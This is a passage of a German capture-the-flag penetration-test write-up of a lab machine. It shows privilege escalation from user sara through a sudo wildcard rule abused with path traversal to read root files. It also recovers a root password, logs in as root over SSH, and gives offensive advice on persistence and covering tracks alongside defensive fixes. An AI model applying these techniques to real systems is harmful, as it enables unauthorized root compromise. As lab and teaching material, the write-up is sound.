Bewertung: `pwd` zeigt `/home/sara`. `ls -la` zeigt die Standard-Konfigurationsdateien. Das Löschen der `.bashrc` ist ungewöhnlich und der Grund dafür ist nicht sofort ersichtlich. Möglicherweise enthielt sie störende Aliase oder Funktionen, oder es war ein Versuch, Speicherplatz freizugeben (was aber unwahrscheinlich ist, da das Problem bei `john` lag). Der anschließende `ls -la` bestätigt das Fehlen der Datei.
Empfehlung (Offensiv): Den Hauptfokus auf die Privilegieneskalation legen (`sudo -l` prüfen).
Empfehlung (Defensiv): Überwachen von Dateiänderungen in Home-Verzeichnissen kann auf verdächtige Aktivitäten hinweisen.
/home/sara
total 20 drwxr-x--- 2 sara sara 4096 Jun 20 2014 . drwxr-xr-x 5 root root 4096 Jun 20 2014 .. -rw-r--r-- 1 sara sara 220 Jun 20 2014 .bash_logout -rw-r--r-- 1 sara sara 3437 Jun 20 2014 .bashrc -rw-r--r-- 1 sara sara 675 Jun 20 2014 .profile
total 16 drwxr-x--- 2 sara sara 4096 Jul 15 19:53 . drwxr-xr-x 5 root root 4096 Jun 20 2014 .. -rw-r--r-- 1 sara sara 220 Jun 20 2014 .bash_logout -rw-r--r-- 1 sara sara 675 Jun 20 2014 .profile
Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für die Benutzerin `sara` aufzulisten.
Bewertung: Dies ist ein entscheidender Fund! `sara` darf zwei Befehle als `root` ohne Passwort (`NOPASSWD`) ausführen:
/bin/cat /accounts/*
/bin/ls /accounts/*
Matching Defaults entries for sara on this host: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User sara may run the following commands on this host: (root) NOPASSWD: /bin/cat /accounts/* (root) NOPASSWD: /bin/ls /accounts/*
Schwachstelle: Unsichere `sudo`-Konfiguration für den Benutzer `sara`, die die Ausführung von `/bin/cat` und `/bin/ls` mit einer Wildcard (`*`) im Pfad `/accounts/*` als `root` ohne Passwort erlaubt.
Ziel des POC: Nachweis, dass diese `sudo`-Regel durch Path Traversal missbraucht werden kann, um beliebige Dateien auf dem System als `root` zu lesen und somit Root-Rechte zu erlangen.
Voraussetzungen: Zugriff auf das System als Benutzer `sara`.
Analyse: Der Pentester versucht, die `sudo`-Regel wie vorgesehen zu nutzen, um den Inhalt von `/accounts/` zu lesen.
Bewertung: Der Befehl `/bin/cat: /accounts/*: No such file or directory` zeigt, dass das Verzeichnis `/accounts/` entweder leer ist oder gar nicht existiert. Dies macht die Regel scheinbar nutzlos, aber die Wildcard ist der Schlüssel.
Empfehlung (Offensiv): Die Wildcard für Path Traversal nutzen.
Empfehlung (Defensiv): Nicht existente Pfade oder überflüssige Regeln aus der `sudoers`-Datei entfernen.
/bin/cat: /accounts/*: No such file or directory
Analyse: Der Pentester nutzt die Schwachstelle aus. Durch Anhängen von `/../` an den erlaubten Pfad `/accounts/` wird versucht, im Verzeichnisbaum eine Ebene nach oben zu wechseln. Das Ziel ist, den Inhalt des Root-Verzeichnisses (`/root`) aufzulisten: `sudo -u root /bin/ls /accounts/../root`. Da die `sudo`-Regel `/accounts/*` erlaubt, interpretiert die Shell (oder `sudo`) dies möglicherweise als gültig, bevor der Pfad aufgelöst wird.
Bewertung: Der Angriff ist erfolgreich! Der Befehl `ls` wird als `root` ausgeführt und listet den Inhalt von `/root` auf. Es wird eine Datei namens `flag.txt` gefunden.
Empfehlung (Offensiv): Den Inhalt von `flag.txt` mit dem `cat`-Befehl lesen.
Empfehlung (Defensiv): Wildcards in `sudoers` vermeiden. Wenn sie benötigt werden, sicherstellen, dass sie nicht für Path Traversal missbraucht werden können (z.B. durch Skripte, die den Pfad validieren, anstatt den Befehl direkt zu erlauben).
flag.txt
Analyse: Mit der gleichen Path-Traversal-Technik wird nun versucht, den Inhalt der gefundenen `/root/flag.txt` mit dem erlaubten `cat`-Befehl zu lesen: `sudo -u root /bin/cat /accounts/../root/flag.txt`.
Bewertung: Volltreffer! Der Befehl funktioniert und gibt den Inhalt der Datei aus. Dieser enthält nicht nur eine Glückwunsch-Nachricht, sondern auch das Root-Passwort: `theskytower`.
Ergebnis des POC: Die unsichere `sudo`-Regel wurde erfolgreich mittels Path Traversal ausgenutzt, um beliebige Dateien als `root` zu lesen. Dies führte zur Offenlegung der Root-Flag und des Root-Passworts.
Risikobewertung: Kritisch. Die Schwachstelle ermöglichte die vollständige Kompromittierung des Systems durch Erlangen des Root-Passworts.
Empfehlung (Offensiv): Das Root-Passwort verwenden, um sich direkt als `root` per SSH anzumelden.
Empfehlung (Defensiv): Die unsichere `sudo`-Regel sofort entfernen oder korrigieren. Das Root-Passwort umgehend ändern. Überprüfen, ob andere `sudo`-Regeln ähnlich anfällig sind. Keine Passwörter oder sensiblen Flags in Klartextdateien speichern.
Congratz, have a cold one to celebrate!
root password is theskytower
Analyse: Der Pentester verwendet das gerade erbeutete Root-Passwort (`theskytower`), um sich über den bestehenden `proxytunnel` direkt als `root`-Benutzer per SSH anzumelden und fordert `/bin/bash` an.
Bewertung: Der Login ist erfolgreich. Der `id`-Befehl bestätigt `uid=0(root)`. Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht und vollständige Kontrolle über das System.
Empfehlung (Offensiv): Persistenz einrichten (z.B. SSH-Keys hinzufügen), weitere Systeme im Netzwerk erkunden, finale Flags sammeln, Spuren verwischen (falls im Scope).
Empfehlung (Defensiv): Nach Abschluss des Pentests: Root-Passwort ändern, unsichere `sudo`-Regel entfernen, Proxy sichern, kompromittierte Benutzerkonten (john, sara) überprüfen/Passwörter ändern, System auf Backdoors oder weitere Kompromittierungen untersuchen, alle gefundenen Schwachstellen (SQLi, alte Software, offener Proxy, sudo-Fehlkonfiguration) beheben.
root@127.0.0.1's password: theskytower
uid=0(root) gid=0(root) groups=0(root)
Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.
Die User-Flag (`user.txt`) wurde im Rahmen dieses dokumentierten Pfades nicht explizit gefunden oder ausgelesen.
Die Datei `/root/flag.txt` enthielt die obige Nachricht sowie das Root-Passwort, welches als finale Bestätigung der Kompromittierung dient.